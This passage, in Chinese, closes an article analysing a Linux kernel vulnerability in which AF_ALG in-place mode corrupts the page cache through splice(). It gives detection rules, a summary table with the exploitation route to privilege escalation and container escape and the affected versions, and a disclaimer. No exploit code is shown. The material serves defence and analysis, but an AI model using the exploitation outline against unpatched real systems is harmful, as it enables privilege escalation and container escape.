参考 Splunk 的检测思路,核心检测逻辑为:

  1. 监控 socket(AF_ALG, ...) 系统调用
  2. 监控 splice() 到 AF_ALG 套接字的操作
  3. 关联分析:AF_ALG socket 创建 + splice 操作 + 目标为系统二进制文件
  4. 异常进程行为:非加密程序(非 cryptsetup/openssl)使用 authencesn 算法

7. 总结

维度 关键信息
漏洞本质 AF_ALG in-place 模式错误修改来自 page cache 的 pipe buffer
根因 2017年补丁 72548b093ee3 将 AEAD 改为 in-place,打通三次代码变更的完整链路
利用方式 AF_ALG + splice() 零拷贝 → page cache 改写 → 提权/容器逃逸
影响范围 Linux 4.14 ~ 6.19.12,几乎覆盖所有主流发行版
利用前提 已能在节点上执行用户态代码
容器逃逸 基于 page cache 内核全局共享特性,修改一份影响所有引用
检测核心 AF_ALG socket + splice 组合 + authencesn 算法
修复方案 升级到包含修复补丁的内核版本

核心启示:三次独立的代码变更,每次单独看都是合理的优化(支持新算法、新增零拷贝、性能优化),但组合后形成了致命的安全漏洞。这提醒我们:安全分析不能只看单个补丁,必须理解跨时间、跨子系统的交互效应。


免责声明重申:本文所有漏洞分析基于公开的 CVE 公告和 FreeBuf 公开文章。所有 PoC 代码仅用于理解漏洞原理以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。